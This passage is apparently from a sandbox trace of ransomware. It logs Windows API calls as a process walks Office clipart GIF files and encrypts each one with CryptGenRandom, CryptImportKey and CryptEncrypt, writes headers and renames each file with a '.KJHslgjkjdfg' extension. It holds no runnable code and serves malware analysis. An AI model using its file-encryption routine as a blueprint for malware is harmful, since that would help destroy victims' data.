hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14d0, lpOverlapped=0x0) returned 1 [0191.766] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.766] SetEndOfFile (hFile=0x130) returned 1 [0191.769] GetProcessHeap () returned 0x2ef0000 [0191.769] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.769] GetProcessHeap () returned 0x2ef0000 [0191.769] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.kjhslgjkjdfg")) returned 1 [0191.773] CloseHandle (hObject=0x130) returned 1 [0191.773] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0191.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.774] GetProcessHeap () returned 0x2ef0000 [0191.774] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.774] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.774] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0191.776] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.776] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.776] GetProcessHeap () returned 0x2ef0000 [0191.776] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.776] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.776] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.776] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.776] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.776] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.776] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.776] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.776] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.776] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.777] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x135b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x135b, lpOverlapped=0x0) returned 1 [0191.778] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1360, dwBufLen=0x1360 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1360) returned 1 [0191.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.778] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1360, lpOverlapped=0x0) returned 1 [0191.778] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.778] SetEndOfFile (hFile=0x130) returned 1 [0191.778] GetProcessHeap () returned 0x2ef0000 [0191.778] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.778] GetProcessHeap () returned 0x2ef0000 [0191.778] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.kjhslgjkjdfg")) returned 1 [0191.781] CloseHandle (hObject=0x130) returned 1 [0191.782] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0191.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.782] GetProcessHeap () returned 0x2ef0000 [0191.782] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.782] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.782] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0191.785] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.785] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.785] GetProcessHeap () returned 0x2ef0000 [0191.785] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.785] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.785] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.785] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.785] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.785] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.785] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.785] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.786] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.786] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.786] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13a6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13a6, lpOverlapped=0x0) returned 1 [0191.787] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13b0, dwBufLen=0x13b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13b0) returned 1 [0191.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.787] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13b0, lpOverlapped=0x0) returned 1 [0191.787] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.787] SetEndOfFile (hFile=0x130) returned 1 [0191.790] GetProcessHeap () returned 0x2ef0000 [0191.790] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.790] GetProcessHeap () returned 0x2ef0000 [0191.790] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.kjhslgjkjdfg")) returned 1 [0191.793] CloseHandle (hObject=0x130) returned 1 [0191.794] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0191.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.794] GetProcessHeap () returned 0x2ef0000 [0191.794] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.794] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.794] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0191.797] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.797] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.797] GetProcessHeap () returned 0x2ef0000 [0191.797] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.797] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.797] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.797] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.797] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.797] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.797] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.797] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.797] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.797] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.797] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x47a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x47a, lpOverlapped=0x0) returned 1 [0191.797] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x480, dwBufLen=0x480 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x480) returned 1 [0191.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.798] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x480, lpOverlapped=0x0) returned 1 [0191.798] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.798] SetEndOfFile (hFile=0x130) returned 1 [0191.801] GetProcessHeap () returned 0x2ef0000 [0191.801] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.801] GetProcessHeap () returned 0x2ef0000 [0191.801] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.kjhslgjkjdfg")) returned 1 [0191.803] CloseHandle (hObject=0x130) returned 1 [0191.803] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0191.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.804] GetProcessHeap () returned 0x2ef0000 [0191.804] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.804] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.804] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0191.806] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.806] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.806] GetProcessHeap () returned 0x2ef0000 [0191.806] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.806] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.806] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.806] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.806] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.806] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.806] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.807] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.807] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.807] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.807] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d9f, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d9f, lpOverlapped=0x0) returned 1 [0191.808] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1da0) returned 1 [0191.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.808] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1da0, lpOverlapped=0x0) returned 1 [0191.808] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.808] SetEndOfFile (hFile=0x130) returned 1 [0191.811] GetProcessHeap () returned 0x2ef0000 [0191.811] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.811] GetProcessHeap () returned 0x2ef0000 [0191.811] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft 